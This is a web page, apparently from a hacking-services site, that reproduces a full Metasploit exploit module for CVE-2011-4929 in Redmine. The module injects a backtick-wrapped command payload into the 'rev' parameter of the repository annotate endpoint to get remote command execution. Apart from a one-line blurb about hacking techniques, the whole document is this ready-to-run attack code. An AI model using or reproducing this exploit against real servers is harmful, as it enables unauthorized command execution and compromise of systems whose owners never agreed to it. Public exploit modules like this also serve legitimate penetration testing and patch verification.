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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Redmine SCM Repository Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution vulnerability in the
        Redmine repository controller. The flaw is triggered when a rev parameter
        is passed to the command line of the SCM tool without adequate filtering.
      },
      'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ],  #Phenoelit
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2011-4929'],
          ['OSVDB', '70090'],
          ['URL', 'http://www.redmine.org/news/49' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              #'RequiredCmd' => 'generic telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Dec 19 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
        ], self.class)
  end

  def exploit
    command = Rex::Text.uri_encode(payload.encoded)
    urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`"

    res = send_request_raw({
      'uri'     => urlconfigdir,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
    handler
  end

end